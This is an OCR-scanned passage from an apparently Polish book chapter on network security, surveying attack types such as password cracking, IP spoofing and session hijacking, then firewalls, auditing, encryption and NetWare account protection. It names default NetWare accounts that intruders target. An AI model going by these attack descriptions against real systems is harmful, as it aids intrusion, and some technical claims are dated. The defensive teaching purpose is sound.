wymi. Jednak bezpieczenstwo Sieci to pojgcie obejmujace zarowno bezpieczenstwo
informacji krazacych pomigdzy jej weztami, jak i tych zgromadzonych w bazach
danych dostgpnych za posrednictwem Sieci.

Wilamania do systemow informatycznych przynosza znaczne straty finansowe i czgsto
utrate zaufania do instytucji, ktérej powierzono poufne informacje. Srodki ochrony
zmniejszajace ryzyko uzyskania dostepu do danych przez osoby nieupowaznione,
mozna ogo6lnie podzieli¢ na dwie kategorie:

¢ Ograniczenie dostgpu do zasobow systemu zgodnie z ustalona polityka
ochronng organizacji;

¢ Kodowanie informacji (utajnianie) za pomoca metod kryptograficznych.

Trzeba rowniez podkresli¢, ze ataki moga by¢ przeprowadzane w sposob aktywny
lub pasywny. Atak pasywny polega na podstuchiwaniu i monitorowaniu przesyta-
nych informacji. Celem ataku pasywnego moze by¢ dazenie do ujawnienia tresci
wiadomosci lub uzyskania informacji o samym ruchu informacji. Atak aktywny dazy
do modyfikowania strumienia informacji lub tworzenia falszywych informacji.

Rodzaje atakow

Ataki korzystajace z hasel

Sa to najchgtniej stosowane przez hakeréw metody wlamania. Polegaja one na
podjeciu proby przeniknigeia do systemu przez podanie identyfikatora uzytkownika
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i hasta, ktore moze by¢ wielokrotnie wprowadzane przez hakera do momentu, gdy
zostanie ono wlasciwie uzyte. Nazywane sg one atakami stownikowymi. Szczegolnie
na nie podatny jest Unix, gdyz system ten, w odréznieniu od innych, pozwala uzyt-
kownikowi na podawanie hasta dowolna ilo$¢ razy. Dzigki temu haker moze usito-
wac zalogowac si¢ wiele razy podajac bledne hasto, a system nie przerwie potaczenia
ani tez nie zaalarmuje administratora.

Oproécz ataku stownikowego wyrdzniamy rowniez atak brutalny, ktory polega na
probie poprawnosci kolejnych haset za pomoca generatora ciagdéw haset i stalego
potaczenia z serwerem. W przypadku zdobycia statycznej bazy danych proba moze
by¢ realizowana na sprzgcie wlamywacza poprzez porOwnywanie otrzymanego za-
kodowanego hasta z zawartoscia bazy.

Ataki na system Linux

Wynikaja one z nieprawidlowego skonfigurowania systeméw oraz z braku odpo-
wiednich patchy. System ten posiada wiele stabych stron i jego prawidlowa konfi-
guracja 1 instalacja patchy jest potrzebna dla zachowania podstawowego poziomu
bezpieczenstwa.

Ataki wykorzystujace slabe strony systemu cgi-bin / phf

Program ten jest instalowany standardowo z kilkoma implementacjami serwerow
httpd i pozwala on wlamywaczowi na uzycie dowolnej komendy.

Oprogramowanie pirackie

Jest ono czgsto rozpowszechniane poprzez FTP (File Transfer Protocol). Moze
wprowadzi¢ do systemu wirusa lub pomdc wlamywaczowi w ataku.

Ataki na sendmaila

Sendmail to program obstugujacy poczte elektroniczna. Jest on czgsto atakowany
przez hakeréw. Dobrze jest instalowaé coraz to nowsze wersje, gdyz dzigki temu
mozna si¢ ustrzec przed atakiem.

Zdobywanie plikow z hastami oraz cracking

Charakteryzuje si¢ on tym, ze wlamywacz probuje zdoby¢ plik z hastami lub zta-
mac¢ hasto atakiem stownikowym. Aby ustrzec si¢ przed takim atakiem nalezy za-
poznawac si¢ z najnowszymi poradami na temat spraw bezpieczenstwa i wykorzy-
stywac zawarte w nich informacje.
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Mail spamming i boming

Atak ten polega na zarzucaniu danego adresu komputerowego duza iloscig listow
elektronicznych. W wyniku tego konta wielu uzytkownikow sa blokowane, co unie-
mozliwia pracg oraz korzystanie z Sieci.

Ataki typu IP Spoofing

Jest to ,,0szukiwanie” adresow zrodtowych przychodzacych z Sieci zewngtrzne;.
Przed atakiem tym mozna si¢ skutecznie chroni¢ ustawiajac na styku z Siecia we-
wnetrzng firewalla.

Automatyczne narzedzia do skanowania ,,dziur” w systemie

Narzedzia takie stuza do kontroli wlasnego systemu oraz sprawdzania i odnajdywania
jego stabych stron. Przez te narzedzia wtamywacze odnajduja stabe strony systemu
i wykorzystuja je do wltamania si¢ do tego systemu.

Ataki DoS

Polegaja one na przepetnieniu bufora w systemie, ktory jest atakowany. Jego skut-
kiem jest zatrzymanie serwisu, uzyskanie praw roota i zawieszenie albo wytadowanie
systemu.

Weszenie

Jest to jeden z trudniejszych do przeprowadzenia atakéw. Stanowi on powazne za-
grozenie dla firm prowadzacych interesy za pomoca Internetu. Haker uzywajac
programow weszacych moze przechwyci¢ pakiety przekazywane migdzy kompute-
rami przylaczonymi do Sieci.

Ataki korzystajace z autoryzowanego dostepu

Ataki te sa czesto stosowane przez osoby, ktore chea si¢ wiamaé do Sieci opartych
na systemie operacyjnym (np. Unix) korzystajacym z mechanizmu autoryzowanego
dostgpu. Uzytkownicy systemu Unix moga tworzy¢ pliki zawierajace nazwy zaufa-
nych serwerow, gdyz wowczas uzyskuja dostgp do systemu bez podawania hasta.
Potaczenie si¢ z zaufanym systemem wymaga uzycia polecenia rlogin lub podob-
nego polecenia oraz odpowiednich argumentéw. Haker, ktory pozna nazwe zaufa-
nego serwera lub identyfikator uzytkownika wraz z nazwa komputera gtéwnego,
moze uzyska¢ dostep do systemu.

Ataki polegajace na podszywaniu si¢ za pomoca protokotu IP

Ataki te polegaja na uzyciu adresow nadawanych przez protokot IP przesytanym pa-
kietom. Komputery wymieniajace miedzy soba informacje przekazuja sobie nawza-
jem dane o sobie. Haker moze wysta¢ do komputera odbiorcy falszywe informacje
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o swoim komputerze, ktore swiadcza, Ze jest on bezpiecznym komputerem glownym
znajdujacym si¢ wewnatrz sieci lokalnej lub poza nia. Podczas takiego ataku pa-
kiety wysytane przez hakera maja dostgp do systemu, do ktorego si¢ on wlamuje,
oraz do ustug tego systemu. Odpowiedzi na zapytania i zadania obshugi wysytane
przez system nie dotra do wlamywacza, lecz do komputera gtownego, pod ktory
haker si¢ podszywa.

Ataki polegajace na nawigzaniu kontaktu
z autoryzowanym uzytkownikiem

Haker stosujacy taki atak moze przyktadowo wysta¢ do autoryzowanego uzytkow-
nika list poczta elektroniczng przedstawiajac si¢ jako administrator Sieci. Wowczas
moze poprosi¢ uzytkownika o przekazanie swojego hasta w celu wykonania pew-
nych operacji.

Ataki polegajace na przewidywaniu numerow sekwencji

Technika ta jest czgsto stosowana podczas przeprowadzania ataku na sieci uniksowe.
Atak ten polega na podszyciu si¢ za pomoca protokotu IP. Dwa komputery otwie-
rajace migdzy soba polaczenie musza uzgodni¢ parametry transmisji wysytajac pa-
kiet poczatkowy, ktory zawiera numer sekwencji, tworzony na podstawie czasu po-
dawanego przez wewngtrzne zegary komputeréow. Po zarejestrowaniu w réznych
porach dnia kilku numer6éw sekwencji uzywanych podczas autoryzowanej transmisji
haker moze przewidzie¢ sekwencj¢ numerow, ktdéra umozliwia mu otwarcie pola-
czenia z komputerem.

Ataki polegajace na przechwytywaniu sesji

Metoda ta pozwala na przesytanie i odbieranie danych z systemu. Wiamywacz szuka
istniejacego potaczenia migdzy dwoma komputerami, a nastgpnie badajac nie za-
bezpieczone rutery lub zapory ogniowe uzyskuje sekwencje numeréw przesyltana
migdzy komputerami. Po uzyskaniu adresu autoryzowanego uzytkownika haker
przyjmuje jego sesje¢ wysylajac adres uzytkownika. Komputer gléwny przerywa
potaczenie z legalnym uzytkownikiem i ,,pozwala” hakerowi na uzyskanie dostgpu
do plikéw dostepnych dla autoryzowanego uzytkownika.

Ataki korzystajace ze slabych punktow w systemie

Wigkszo$¢ systemdw operacyjnych ma stabe punkty. Prawdopodobienstwo, ze haker
przypadkowo odkryje jeden ze stabych punktow jest bardzo mate. Najnowsza wer-
sja systemu Internet Information Serwer firmy Microsoft zawiera btad, ktory moze
spowodowac zatrzymanie systemu. Ujawnia si¢ on tylko wtedy, gdy haker poda
okreslony adres URL sktadajacy si¢ z wielu cyfr, podczas uzyskiwania dostgpu do
strony WWW tego systemu. Adres URL jest bardzo dtugi i r6zny dla kazdego sys-
temu, co znacznie utrudnia poshuzenie si¢ nim. Wykorzystanie pliku zawierajacego
nazwy zaufanych serwerow w systemie Unix jest nieskomplikowane, poniewaz
nietrudno uzyska¢ dostgp do tego pliku. Dlatego prawdopodobienstwo skorzystania
z tej wlasnie mozliwos$ci wlamania si¢ do systemu jest znacznie wigksze.
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Ataki korzystajace ze wspoluzytkowanych bibliotek

Jako ze wspoluzytkowana biblioteka zawiera zestaw funkcji, ktdre system opera-
cyjny wezytuje z pliku do pamigei RAM, hakerzy moga zastapi¢ niektore programy
biblioteki funkcjami wykonujacymi inne operacje, ktére im umozliwiaja uzyskanie
dostgpu do Sieci.

Konie trojanskie

Atak taki jest mozliwy w przypadku, gdy wlamywacz ma dostgp do sprzetu, ktory
jest wykorzystywany przez administratora. Haker instaluje na stacji administratora
programu sumujaca kontrolke, ktéra wprowadzone hasto zapisuje do pliku lub pod
wskazany adres. Aby sig ustrzec przed takim wlamaniem nalezy limitowac dostep
do komputera administratora.

Metody ochrony

190

Wszyscy powinniSmy zdawaé sobie spraweg z powagi sytuacji i zapoznaé si¢ ze
sposobami zabezpieczenie systemu informatycznego przed wlamaniami. Czynno$¢
taka jest zbiorem dziatan, w ktorym mozna wyrdzni¢ trzy podstawowe pytania, ktore
nalezy sobie zada¢ — co, zamierzamy chroni¢, przed kim, jak i za ile.

Dobrze zabezpieczony system powinien uwzgledniac nastgpujace elementy:

¢ Strategie (odstraszanie, zapobieganie, wykrywanie, minimalizacja skutkow
przestgpstwa, zgodno$¢ z prawem);

¢ Plan (zapewnienie funkcjonowania systemu, przeciwdziatanie utracie,
zniszczeniu, przechwyceniu i modyfikacji informacji, okreslenie procedur na
wypadek awarii);

& Wdrazanie (testowanie, eksploatacja, korekty, rewizja).

Dobrze skonstruowana ochrona powinna uwzglednia¢ mozliwo$¢ ochrony przed
wlamaniami z zewnatrz. Wigkszos$¢ firm nadaje swoim pracownikom prawa doste-
pu do Internetu na dtugo przed zapewnieniem im dostgpu do intranetu. Wymiana
danych z Internetem powinna si¢ odbywaé przez zaporg ogniowa (firewall). Zabez-
pieczenie takie jest zbiorem urzadzen i programdw, ktore tacza dwie lub wigcej sieci,
a jednoczesnie sg centralnym punktem zarzadzania systemem zabezpieczen. Zapora
ogniowa sktada si¢ zazwyczaj z komputera-bastionu, ktory czasami petni funkcje
serwera. Do tradycyjnej sprzgtowo- programowej zapory ogniowej mozna dodaé
kolejne urzadzenie, zwane ruterem, ktore podnosi poziom bezpieczenstwa, gdyz
shuzy do oddzielenia pakietéw danych wedlug kryterium zdefiniowanego przez
uzytkownika. Ruter moze by¢ zaimplementowany za pomoca dowolnego komputera
typu PC lub uniksowego. Dzigki odpowiedniemu skonfigurowaniu zapory ogniowej
za pomoca kombinacji komputerow-bastionéw i ruterbw mozna uzyska¢ dobra
ochrong przed atakami uzytkownikow Internetu. Wiasciwe skonfigurowanie zapory
ogniowej wewnatrz firmy zapewnia wysoki poziom bezpieczenstwa poszczegdlnym
jej oddziatom.
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Nalezy takze pamigta¢ o nalezytej ochronie sieci przed wlamaniami od wewnatrz.
Oproécz tego nalezy takze zapewni¢ ochrong poszczegdlnych dzialdéw w ramach
jednej firmy czy instytucji. Nalezy przyja¢ zasadg, ze trzeba chroni¢ wazne dane
nalezace do konkretnego dziatu firmy przed kazdym rodzajem ataku, zaréwno
z Internetu, jak i z innego dziatu tego samego przedsigbiorstwa. W wigkszosci wy-
padkéw skupia sie wigksza uwage na zabezpieczeniu sieci przed zto§liwymi ataka-
mi z zewnatrz a nie od wewnatrz. Najlepszym rozwiazaniem jest jednak przydzie-
lanie prawa dostgpu do konkretnych informacji wylacznie tym uzytkownikom,
ktorzy musza je zna¢. Pozostali pracownicy nie powinni mie¢ dostgpu do takich da-
nych. Bez wzgledu na wewngtrzny system bezpieczenstwa, zapora ogniowa zapewni
wymagany stopien ochrony. Ponadto zapora ogniowa zabezpieczajaca sie¢ lokalna
przed dostgpem uzytkownikow Internetu jest podobna do tej chroniacej dokumenty
nalezace do konkretnego dziatu.

Ruter ekranujacy

Stanowi czgsto pierwsza lini¢ ochrony sieci przed atakami z Internetu lub innych
sieci lokalnych. Filtruje on pakiety w warstwie sieciowej i w warstwie tacza danych
niezaleznie od warstw aplikacji. Dzigki temu rutery kontroluja dane przesytane
w sieci nie wymagajac wprowadzania zmian do zadnej aplikacji typu klient czy serwer.
Sa one wygodne w obstudze i niedrogie, ale nie sa wydajnymi zabezpieczeniami.
Aby w pelni zabezpieczy¢ si¢ przed atakami z zewnatrz, nalezy na wszystkich war-
stwach protokolu TCP/IP zastosowac¢ zabezpieczenie typu zapora ogniowa.

Zapory ogniowe (firewalle)

Mozna by o nich napisa¢ oddzielna, obszerna ksiazke i powstato juz takich wiele.
Zapora ogniowa kontroluje drogi dostgpu migdzy dwiema sieciami. Zazwyczaj in-
staluje si¢ ja pomigdzy siecia lokalna a Internetem po to, aby chroni¢ swoja prywatna
sie¢ przed dostgpem z catego Swiata. Zapora ogniowa jest wszechstronnym syste-
mem, ktory zapewnia maksymalna ochrong sieci, a zarazem wnosi tylko minimalne
niewygody dla uzytkownikéw dysponujacych odpowiednimi uprawnieniami. Naj-
bezpieczniejsza zapora ogniowa jest odtaczenie prywatnej sieci od Internetu. Przesy-
fanie informacji migdzy sieciami wymaga fizycznego ich potfaczenia. Jesli nie istnieje
polaczenie migdzy siecia a Internetem, to jego uzytkownicy nie maja dostgpu do da-
nych w sieci lokalnej.

Rewizja

To bardzo wazna czynno$¢ powaznie ograniczajaca ryzyko zaatakowania systemu
przez hakera. Rewizja jest prowadzona przez system operacyjny pottrwalym reje-
strem operacji wykonywanych przez uzytkownikéw komputera. Jest ona rowniez
bardzo waznym narzedziem wykorzystywanym przez administratorow sieci, ktorzy
korzystaja z rewizji podczas wykrywania atakow, $ledzenia operacji wykonywanych
przez pracownikow oraz $ledzenia dostgpu do serwera. Rewizja utatwia schwytanie
intruza, ktory zaatakowat system i moze takze umozliwi¢ odparcie takiego ataku
ostrzegajac przed nim administratora. Ponadto rewizje stanowia jeden z najlepszych

C:\WINDOWS\Pulpit\Szymon\hakerzy\r02b.doc 191



192

Hakerzy....

sposobow $ledzenia operacji wykonywanych przez uzytkownikéw, gwarantujacy,
Ze nie naraza oni systemu na niebezpieczenstwo. Moga stuzy¢ do usuwania skutkéw
ataku. Jest to jedna z najlepszych metod wykrywania ataku, umozliwiajaca podnie-
sienie poziomu bezpieczenstwa systemu. Rejestruje bowiem wszystkie operacje
(badz wybrane ich grupy) przeprowadzone na konkretnym komputerze ze szcze-
golnym uwzglednieniem operacji prowadzacych do uzyskania dost¢pu do obiektow
chronionych. Uzyta na poziomie rutera lub zapory ogniowej stuzy do sygnalizowa-
nia atakoéw, a po wykryciu ataku okresla szkody w systemie i wykrywa, do ktorych
danych haker mogt mie¢ dostep. Zasady bezpieczenstwa stosowane w przedsigbior-
stwie powinny obejmowac regularne przeprowadzanie rewizji, analizowanie jej
wynikéw 1 wykonywanie kopii zapasowych pamigtajac, ze najnizsza doktadnosé¢
rewizji jest na poziomie komputera, a rewizja na poziomie katalogu ma $rednig do-
ktadno$¢, podczas gdy rewizja na poziomie obiektu ma najwyzszy wskaznik do-
ktadnosci. W wypadku, gdy nieautoryzowany uzytkownik pokona zabezpieczenia
systemu, rewizja jest jedynym sposobem okreSlenia tego, jakie operacje zostaty
wykonane przez nich w systemie oraz w jaki sposob doszto do wlamania. Bardzo wy-
sokie koszty zastapienia niezabezpieczonych systemoéw systemami chronionymi
uniemozliwiaja wykonanie takiej operacji i korzystanie z rejestru utworzonego
podczas rewizji jest dos¢ tanim zabezpieczeniem. Rewizje i badanie zapisow wy-
konywanych operacji nie zapewnia zatrzymania pracy systemu w przypadku wy-
krycia ataku. Gdy haker podszyje si¢ pod system nie zostanie to wykryte. Tak samo
bedzie w przypadku biernego weszenia. Mechanizm rewizji nie wykryje hakera,
poniewaz nie usiluje on uzyskac¢ dostepu do zadnych danych znajdujacych si¢ na
serwerze, a jedynie spowoduje ich przeptyw. Wtasciwie stosowany mechanizm re-
wizji jest tylko jednym z elementéw rozbudowanego systemu zabezpieczen. Nie
zastapi on zapory ogniowej, rutera ekranujacego ani zasad bezpieczenstwa. Pozo-
state zabezpieczenia nie przejma natomiast funkcji mechanizmu rewizji.

System Unix oferuje wiele narzgdzi, ktore stuza do przeprowadzania rewizji i prowa-
dzenia rejestrow, a takze inne programy. Wigkszos$¢ z nich znajduje si¢ w domyslnej
konfiguracji systemu na komputerach uniksowych, dzigki czemu rejestry sa prowa-
dzone automatycznie. System Unix przechowuje znaczng czg$¢ prowadzonych reje-
strow w formie plikow z danymi tekstowymi zapisanymi w formacie ASCII, nato-
miast czg$¢ programow zapisuje dane w plikach binarnych.

Najprostszym narzgdziem uniksowym stuzacym do przeprowadzania rewizji jest plik
lastlog, w ktorym jest zapisywany czas ostatniego zalogowania si¢ oraz informacje
o serwerze, z ktorego si¢ taczono. W momencie, gdy uzytkownik loguje si¢ do systemu
Unix, wtedy program logujacy szuka identyfikatora uzytkownika w pliku lastlog a na-
stgpnie wyswietla datg 1 godzing ostatniego zalogowania sig¢ tego uzytkownika wraz
z portem terminala.

Szyfrowanie informacji

192

Jednym z najwigkszych zagrozen dla bezpieczenstwa przedsigbiorstw i indywidualnych
uzytkownikow jest przechwytywanie transmisji pomigdzy sieciami. Aby zapobiec prze-
chwytywaniu pakietow, nalezy szyfrowa¢ wszystkie dokonywane transmisje.
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Zaszyfrowana transmisja zawiera przemieszane dane, ktore mozna odszyfrowaé tylko
za pomocg aplikacji z odpowiednim kluczem kryptograficznym. Dzigki temu sa za-
spokajane wszelkie aspekty informacji:

¢ Poufhos¢;
¢ Mozliwos¢ ich odczytania przez $cisle okreslonych odbiorcow;
¢ Integralno$¢;

¢ Gwarancja nienaruszalnos$ci (niemozno$¢ modyfikacji danych migdzy kolejnymi
ich interakcjami z uprawnionymi uzytkownikami);

¢ Niezaprzeczalnosc,

¢ Potwierdzenie autorstwa danych i ich modyfikacji nawet przy formalnych
zaprzeczeniach autora.

Zaszyfrowanie umozliwia zabezpieczenie transmisji pocztowej przed podejrzeniem
przez kogokolwiek poza adresatem. Dokument po zaszyfrowaniu zmienia si¢ z czy-
telnego tekstu w seri¢ liczb, ktore moze odszyfrowac tylko ta osoba, ktéra ma odpo-
wiedni do tego klucz.

Wyro6zniamy dwa podstawowe typy szyfrowania:
¢ Szyfrowanie z pojedynczym kluczem (szyfrowanie z kluczem symetrycznym);

¢ Szyfrowanie z kluczem publicznym (szyfrowanie z kluczem asymetrycznym).

W standardowych systemach szyfrowania z kluczem pojedynczym nadawca i od-
biorca uzywaja pojedynczego klucza do szyfrowania i odszyfrowywania. Dlatego
nadawca i odbiorca musza najpierw wymieni¢ klucz poprzez bezpieczne kanaty,
aby moc z niego korzystaé przesylajac zaszyfrowane wiadomosci poprzez kanaty
niezabezpieczone. Podstawowa wada systemow z pojedynczym kluczem jest to, ze
wymagaja one, aby obie strony znaly klucz przed kazda transmisja. Aby nikt poza
adresatem nie mial mozliwoséci odszyfrowania transmisji, nalezy tworzy¢ roézne
klucze dla wszystkich osob, grup lub firm, do ktoérych sa przesylane informacje.
System szyfrowania z kluczem publicznym wymaga dwoch wzajemnie uzupenia-
jacych si¢ kluczy. Jeden z nich — klucz publiczny — mozna dowolnie przekazaé
komukolwiek, natomiast drugi — klucz prywatny — powinien by¢ przechowywany
w bezpiecznym miejscu. Kazdy klucz odblokowuje szyfr utworzony przez drugi
klucz. Protokét klucza publicznego skutecznie eliminuje potrzebg zabezpieczania
kanalow, czego wymagaly standardowe systemy z pojedynczym kluczem. Szyfr
uzytkownika bedzie jednak niemozliwy do ztamania tylko pod warunkiem, ze nikt
nie zna warto$ci jego klucza prywatnego. Jesli haker zdobedzie klucz prywatny, to
bedzie mogt ztamac wszystkie szyfry.

Wigkszos¢ projektantow zabezpieczen typu firewall nazywa tg czg$¢ obszarem ry-
zyka. Znajduja si¢ w nim informacje i systemy bgdace czgscia chronionej sieci, do
ktorych haker moze uzyskac dostgp podczas ataku. Jesli np. sie¢ jest przylaczona do
Internetu bez posrednictwa rutera, to jest ona w catosci obszarem ryzyka.
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Wszystkie komputery gtowne znajdujace si¢ w niechronionej czgsci sa narazone na
atak. Nie mozna uwazac¢ za poufne danych znajdujacych si¢ w ktorymkolwiek pliku
lub systemie w tej czgsci sieci. Poprawnie zaprojektowana zapora ogniowa ogranicza
obszar ryzyka.

Obszar ryzyka stanie si¢ jednak wigkszy, jesli haker pokona zapore ogniowa. W ta-
kim wypadku moze on si¢ postuzy¢ tym zabezpieczeniem podczas dalszych atakow.
Punkt, w ktérym haker pokonano zaporg, stanie si¢ baza, z ktorej bedzie atakowat
kolejne serwery.

Bardzo istotna sprawa jest takze fakt, jakiego uzywa si¢ pod Uniksem oprogramo-
wania. Wérdd catej mnogosei dostgpnych programéw mozna trafié¢ na te, ktore nie
sa znane lub maja watpliwe pochodzenie. Jest to dobry sposéb na rozpowszechnianie
réznych programéw, wykonujacych oprocz swoich zalozonych zadan takze inne, nie
zawsze oczekiwane przez uzytkownika. Programy takie dzieli si¢ zasadniczo na kilka
grup wedhig pewnego schematu:

& Wirusy — programu modyfikujace inne programy w systemie i doklejajace si¢
do nich;

¢ Konie trojanskie — programy udajace jakie$ narzedzie, w rzeczywistosci
jednak wykonujace inne ukryte funkcje;

¢ Robaki — programy przenoszace si¢ przez sie¢ z komputera na komputer,
czasami modyfikujace kod innych programow;

¢ Bomby logiczne — wywolujace ukryte funkcje w okreslonych warunkach;
¢ Bakterie — programy rozmnazajace si¢ 1 tworzace ogromna liczbg kopii, ktore

zajmuja zasoby systemowe.

Wiele z mechanizméw stosowanych w programach jest takze wykorzystywana
w zwyktych programach do nazwijmy to ,, pokojowych” celow. Niezaleznie od spo-
sobu, w jaki takie programy atakuja system, nalezy zachowa¢ kilka elementarnych
zasad bezpieczenstwa. Oto kilka podstawowych wskazowek:

¢ Zawsze nalezy zapozna¢ si¢ z programem przed jego pierwszym
uruchomieniem;

¢ Nalezy doktadnie przeczyta¢ uruchamiane skrypty i stara¢ sig je doktadnie
zrozumiecg;

¢ Warto zapoznac si¢ z kodem zrodtowym i1 pozna¢ mechanizmy uzyte
W programie;

¢ Nie nalezy uruchamia¢ nowych programow z konta root;

¢ Testowac nowe programy na komputerze odtaczonym od Sieci tak,
aby nie mogtly udostgpni¢ nikomu zadnych zasobow w jakis tajny,
nieudokumentowany sposob;

¢ Nie wolno w lancuchu $ciezki umieszczaé nietypowych katalogow;
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¢ Nie mozna zostawiaé niezabezpieczonych katalogow;

¢ Uprawnienia do polecen nalezy ustawic na 555 lub 551 tak, aby nikt ich nie
mogt zmieniac.

Ogolnie zaleca sig zachowanie dystansu do programéw importowanych z niepewnych
i nieznanych zrodet, i to zarowno do programéw zrodtowych jak i skompilowanych.
Zdecydowanie nie powinno si¢ ufa¢ programom $ciaganym z grup dyskusyjnych do-
tyczacych programéw zroédlowych. Rowniez programy Sciagane z archiwéw FTP
nalezy uwazac za niepewne i kazdy z nich ostroznie przetestowaé przed wprowa-
dzeniem do powszechnego uzycia. Reasumujac — kluczem do dobrego zabezpie-
czenia systemu jest potaczenie dziatan, ktore stuza:

¢ Zapobieganiu kazdemu potencjalnemu zagrozeniu;

¢ Planowaniu tego, co nalezy zrobi¢, jesli taka sytuacja juz zaistniata
(jako Ze zagrozenia mogg bra¢ si¢ z bardzo wielu r6znych zrodet —
moga by¢ spowodowane przez ludzi, ktdrzy niszcza system mniej lub bardziej
przypadkowo, albo przez wlamywaczy, ktorzy z rozmystem chca dostac si¢
do systemu, czy — jak zagrozenia wewngtrzne — moga pochodzi¢
od uzytkownikoéw uprawnionych do korzystania z systemu — chcac unikna¢
takich sytuacji nalezy prowadzi¢ umiejetng polityke bezpieczenstwa polegajaca
na zdefiniowaniu poprawnych i niepoprawnych sposobow wykorzystania kont
uzytkownikéw oraz przechowywanych w systemie danych).

Zabezpieczenia systemu NETWARE

NetWare to sieciowy system operacyjny firmy Novell, ktora byta pierwszym produ-
centem oprogramowania umozliwiajacego przetwarzanie danych na wielu platformach
sprzgtowych oraz programowych. Jest to firma, ktéra wiedzie prym w technologii
sieci lokalnych.

NetWare okresla mozliwosci serwera, plikow, definiuje sposob zarzadzania doste-
pem do plikéw, ustugami drukowania, przesytanymi wiadomos$ciami, ustugami baz
danych oraz ustugami komunikacyjnymi. Zostal on zaprojektowany i zoptymalizo-
wany jako oprogramowanie serwera plikowego i oprogramowanie zarzadzajace sie-
cia. Wykorzystuje zastrzezong strukture katalogdow i plikow, ktora zostata opracowa-
na pod katem szybkiego dostepu do plikow. W odrdznieniu od innych produktow tej
kategorii wyzej wymieniony system nie wymaga zastosowania na serwerze innego
systemu operacyjnego. Sprawia to, ze jest on bardziej spojny oraz nie powoduje
ktopotow przy konserwacji. NetWare posiada bardzo dobre zabezpieczenia. Bardzo
wazne jest rowniez to, ze system ten w odrdéznieniu na przyktad od systemu Unix
(ktory jest porownywalny z NetWare) wymaga przyznawania uzytkownikom praw
dostepu.

C:\WINDOWS\Pulpit\Szymon\hakerzy\r02b.doc 195



196

Hakerzy....

Sieci Novell NetWare to sieci rozproszone, co oznacza, ze informacje przez nie
przechowywane umieszczane sa w wielu miejscach, a mechanizmy zabezpieczajace
obejmuja takze elementy sieci poza serwerem. Zabezpieczenia serwera okreslane sa
w kazdej sieci NetWare. Konieczne jest rowniez fizyczne zabezpieczenie na po-
ziomie stacji roboczej, ktore uniemozliwia uzytkownikowi nieautoryzowanemu
wczytanie do stacji programoéw (program taki moze na przyktad na ekranie monito-
ra wyswietli¢ falszywa procedure logowania umozliwiajaca hakerowi zdobycie ha-
sta uzytkownika).

Wydajnosé systemu

Na poziomie najwyzszym oferowane sa ustugi, za pomoca ktoérych serwer jest wy-
dajniejszy od dziatajacych pod kontrola innego systemu operacyjnego.

Bezpieczenstwo systemu NetWare polega na mechanizmach, jakie wbudowane sa
na poziomie podstawowym, w odréznieniu od innych systeméw (mechanizmy do-
dawane jako aplikacje systemu operacyjnego). System uzywa wilasnej struktury pli-
kow, co powoduje, iz uzytkownicy posiadajacy bezposredni dostgp do serwera nie
majg mozliwos$ci uzycia tych plikdw z poziomu innego systemu operacyjnego na
przyktad DOS czy Unix.

Skladniki systemu

NetWare sktada si¢ przede wszystkim z oprogramowania serwera plikowego, opro-
gramowania serwera drukarkowego, oprogramowania sterownika sieciowego,
oprogramowania sterownika protokotow oraz oprogramowania przeadresowywu;ja-
cego. Oprogramowanie serwera plikowego jest wykonywane w celu zapewnienia
kontrolowanego dostgpu do wspotuzytkowanych zasobow sieci. Oprogramowanie
serwera drukarkowego wykonywane jest na serwerze plikowym lub innej maszynie
podtaczonej do sieci i zapewnia dostgp do drukarek. Oprogramowanie sterownika
sieciowego jest niskopoziomowym oprogramowaniem komunikacyjnym, ktore
umozliwia urzadzeniom sieciowym komunikacj¢ z okre§lonym adapterem siecio-
wym. Moze ono by¢ czgscia innego oprogramowania lub oddzielnym plikiem czy
programem. Oprogramowanie sterownika protokolow stanowi implementacjg pro-
tokotéw komunikacji pomigdzy warstwami sieciowymi, umozliwiajac urzadzeniom
sieciowym na komunikowanie si¢ za posrednictwem sieci. Oprogramowanie prze-
adresowywujace tworzy logiczne polaczenia pomigdzy stacjami roboczymi, serwe-
rami plikowymi i innymi urzadzeniami sieciowymi. Oprogramowanie to rowniez
dokonuje przeadresowywania wejscia i wyjscia dla urzadzen sieciowych.

Serwery oraz uzytkownicy

196

System NetWare okresla prawa dostgpu pojedynczym uzytkownikom, grupom
i ogranicza dostgp do serwera plikow. Konieczne jest utworzenie nowych uzytkow-
nikow na innych serwerach, gdy w sieci wystepuje wiele
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serwerow plikow. Biorac to pod uwage, konto grupy NetWare ustala zasady bez-
pieczenstwa dla grupy oraz pozwala na wlaczenie uzytkownika do niej. Uzytkownik
ten otrzymuje oprocz wlasnych przywilejow takze nadane mu przywileje grupy.
Korzystniejsze jest nadawanie przywilejow grupie wlacznie ze znajdujacymi si¢
w niej uzytkownikami niz indywidualne nadawanie praw pojedynczym uzytkowni-
kom. Konto uzytkownika w systemie tworzone jest w ten sposob, ze kazdej osobie
zostaje nadany przywilej dostepu do plikow i katalogéw. Zadna z nich nie posiada
mozliwo$ci korzystania z plikow i katalogéw, do ktérych wezesniej nie otrzymaty
dostepu.

Elementy systemu zapewniaja mechanizmy zabezpieczajace na poziomach, takich jak:
¢ Ochrona konta;
¢ Ochrona pliku;
¢ Ochrona katalogu;
¢ Ochrona hasta;

¢ Mechanizmy ochronne migdzy sieciami.

Dostep do kont systemu NetWare

Najbardziej rozpowszechnione metody wlaman do systemu skupiaja si¢ na wyko-
rzystaniu kont systemowych w celu uzyskania dostgpu do sieci oraz proby uzyskania
dostgpu do kont o mniejszym znaczeniu, poprzez ktore haker stara si¢ dotrze¢ do
kont wazniejszych. Ochrona nazw kont sprowadza si¢ do tego, ze prawie kazde
konto logowania w systemie NetWare pozwala na uruchomienie programu syscon,
gdyz umieszczony jest on w katalogu SYS:PUBLIC.

Haker nie uzyska wigc wielu informacji z kont o ograniczonych uprawnieniach.
Moze jednak pozna¢ imi¢ uzytkownika kazdego konta znajdujacego si¢ na liscie
kont. Po uzyskaniu dostgpu do stacji roboczej moze wykorzysta¢ niezabezpieczony
hastem identyfikator, by si¢ zalogowa¢ do sieci. W odrdznieniu od programéow login
.exe serwer rejestruje tylko nieudane proby logowania, czyli takie, w ktorych iden-
tyfikator jest poprawny, lecz hasto btedne.

Warto dodaé, Ze podczas instalacji systemu tworzone sa dwa lub cztery konta: super
i guest lub superuser, guest, admin 1 user_template. Hakerzy usituja je wykorzysta¢
w celu uzyskania dostgpu do serwera. Nadaja im hasta, by ukry¢ swa obecnoscé.
Konto guest jest czgsto sprawdzane przez administratorow, ktérzy zapominaja czg-
sto o koncie user template. Poza tym wszystkie konta na serwerze rowniez powin-
ny by¢ sprawdzane w celu wykrycia kont niepowotanych oraz kontrolowania po-
